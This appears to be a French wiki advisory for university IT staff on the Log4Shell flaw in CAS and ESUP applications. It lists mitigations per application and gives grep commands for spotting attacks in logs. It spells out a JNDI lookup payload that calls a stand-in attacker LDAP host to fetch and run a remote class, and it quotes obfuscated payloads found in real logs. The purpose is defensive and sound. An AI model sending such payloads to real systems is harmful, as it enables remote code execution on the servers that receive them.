...
- L'attaquant saisit en tant que username dans le formulaire d'authentification /login la chaine "${jndi:ldap://serveur-attaquant-ldap.com/ExploitLog4j2}" et un mot de passe quelconque
- CAS log ce username dans cas_audit.log (authentification échouée)
- la chaine "${jndi:ldap://serveur-attaquant-ldap.com/ExploitLog4j2}" est parsée par log4j
- l'expression jndi est évaluée, une récupération de l'object ldap donné par ldap://serveur-attaquant-ldap.com/ExploitLog4j2Ref est effectuée
- cet objet correspond à une référence sur http://serveur-attaquant-http.com/ExploitLog4j2.class
- la classe http://serveur-attaquant-http.com/ExploitLog4j2.class est récupérée et exécutée
Solutions
- technique "mettre mise à jour" : remplacer les jars de log4j-core par la version 2.15.0 (attention maven central fournit une version compilée pour Java ≥ 8)
technique "zip" : supprimer la classe du jar
Bloc de code language bash zip -q -d log4j-core*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
technique "configurer" : si log4j-core ≥ 2.10, ajouter ceci à la ligne de commande java
Bloc de code language bash -Dlog4j2.formatMsgNoLookups=true
- technique "firewall" : empêcher les requêtes TCP sortantes du serveur
...
- ≤ 4.0 : pas affecté
- ≤ 5.2 : technique "mettre mise à jour" ou "zip" ou "firewall"
- ≥ 5.3 : technique "mettre mise à jour" ou "zip" ou "firewall" ou "configurer"
- >=
6.3.7.2.ou >= 6.4.4 : versions des branches 6.3 et 6.4 (les seules maintenues ; les autres sont considérées comme obsolètes) corrigées
...
Applications potentiellement concernées
Nuxeo
- 10.10 : technique "mettre mise à jour" ou "zip" ou "firewall" ou "configurer"
...
- à priori globalement protégé par l'usage d'un security manager de java (annonce)
- 6.5.3 debian 9 : technique "mettre mise à jour" ou "zip" ou "firewall" ou "configurer"
- 7.9.1 : technique "mettre mise à jour" ou "zip" ou "firewall" ou "configurer"
...
- technique "zip" ou "firewall" (la technique "configurer" ne marche pas !)
Solr
- 8.5.1 : technique "mettre mise à jour" ou "zip" ou "firewall" ou "configurer"
...
Applications non concernées
applications java périmètre esup
- esup-dematec (elle embarque des librairies log4j-2 qui ne sont pas utilisées : log4j (1) est utilisé : configuration par log4j.properties ; toutes versions)
- esup-ecandidat v2 (logback ; toutes versions)
- esup-mdw ()
- esup-podesup-pstagepstage (log4j)
- esup-signature (logback)
esup-smsusmsu (log4j)
esupUserApps / ProlongationENT (log4j)
- esup-sgc (logback)
- esup-nfc-tagtag (logback)
- esup-papercutpapercut (logback)
- esup-paypay (log4j)
- esup-helpdeskhelpdesk (log4j)
- esup-emargement
- uportal et portlets associéesassociées (log4j)
- shibboleth idp (sauf docker ; logback)
applications non java
- esup-pod, filex, esup-wayf, esup-otp-api, esup-otp-manager, ...
applications java non ESUP dans le périmètre ESR
- bbb 2.2
- ametys odf
- ade
ksup
- , ametys odf, ade (log4j via apache commons-logging), ksup (log4j puis logback), ...
Librairies log Java
Pour déterminer si une application java est impactée il faut déterminer quelle librairie de log est utilisée.
...
| Bloc de code | ||
|---|---|---|
| ||
grep -e '${\|' -e 'Reference Class\|' -e 'javax.el.ELProcessor' /opt/tomcat-cas/logs/cas.log 2021-12-11 05:48:59,478 WARN [org.apereo.cas.web.flow.SpnegoNegotiateCredentialsAction] - <User Agent header [${jndi:${lower:l}${lower:d}a${lower:p}://toto.log4j2${upper:a}attaq.io:80/callback}] is not supported in the list of supported browsers [[Firefox]]> |
...
| Bloc de code | ||
|---|---|---|
| ||
grep -e '${\|' -e 'Reference Class\|' -e 'javax.el.ELProcessor' /opt/tomcat-cas/logs/cas_audit.log CLIENT IP ADDRESS: ${jndi:ldap://X-Forwarded-For.univ-ville.fr.id-de-test.solution-de-test.net/a.bc} WHO: ${jndi:ldap://hack.me:1389//univ-ville.fr/X-Forwarded-For} CLIENT IP ADDRESS: Reference Class Name: foo |
...
Dans tous les cas une analyse plus poussée (flux) est à envisager. La prudence reste de mise. L'exécution d'un code arbitraire pouvant altérer l'ensemble du système, dont les journaux eux-mêmes.
Liens
- CVE-2021-44228 : https://www.cve.org/CVERecord?id=CVE-2021-44228
- CERTFR-2021-ALE-022 : https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/
CAS Log4J Vulnerability Disclosure : https://apereo.github.io/2021/12/11/log4j-vuln/
Nous vous recommandons la lecture des deux articles suivants pour bien comprendre le mode opératoire des attaques exploitant cette vulnérabilité.
[1] https://www.lunasec.io/docs/blog/log4j-zero-day/
[2] https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/
Veuillez vérifier les journaux de connexion et faire suivre au COSSIM (cossim@education.gouv.fr) les différents IOCs en lien avec cette alerte.